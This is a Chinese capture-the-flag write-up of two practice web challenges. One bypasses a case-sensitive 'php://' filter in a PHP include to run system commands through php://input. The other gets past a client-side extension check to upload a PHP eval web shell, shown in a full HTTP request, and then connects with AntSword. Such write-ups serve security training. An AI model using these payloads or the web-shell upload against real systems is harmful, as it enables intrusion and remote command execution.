攻防世界-wp

web php include

1.审计代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
   $page=str_replace("php://", "", $page);
}
include($page);
?>

用get方式输入page

strstr(string,search,before_search)

strstr() 函数搜索字符串在另一字符串中的第一次出现。

str_replace(find,replace,string,count)

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写

所以这里是对$page的值进行判断,如果存在php://,则消去

2.利用漏洞

因为str_replace()函数是区分大小写的,所以我们在输入php://的时候,可以转换为大写从而绕过

构建$page=php://input,在bp中抓包

 

<?php
 system("ls");
?>  

可以显示所有的文件

3.获取flag

看到有很可疑的文件

<?php
 system("cat fl4gisisish3r3.php");
?>

就可以查看这个文件得到flag

uploade1

1.上传文件

随便上传一个文件,有bp抓包,查看返回结果

是一串js代码

Array.prototype.contains = function (obj) {  
   var i = this.length;  
   while (i--) {  
       if (this[i] === obj) {  
           return true;  
      }  
  }  
   return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+./,'');

if(['jpg','png'].contains(ext)){
   submit.disabled = false;
}else{
   submit.disabled = true;

   alert('请选择一张图片文件上传!');
}


}

ext = name.replace(/^.+./,’’)删除文件的名称

if([‘jpg’,‘png’].contains(ext)):检查后缀是否为jpg/png,如果不是就禁用按钮并弹窗报错

因为过滤是在前端,所以可以通过bp来修改后缀名

2.上传一句话代码
POST /index.php HTTP/1.1
Host: 111.198.29.45:31073
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://111.198.29.45:31073/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------313451057620810
Content-Length: 221

-----------------------------313451057620810
Content-Disposition: form-data; name="upfile"; filename="php.php"
Content-Type: image/jpeg

<?php @eval($_POST['123']); ?>
-----------------------------313451057620810--

将文件名后缀改为.php

然后构造一句话木马就行了

3.用antsword连接

在文件中发现有flag.php, 完成

原文地址:https://www.cnblogs.com/zesiar0/p/12643105.html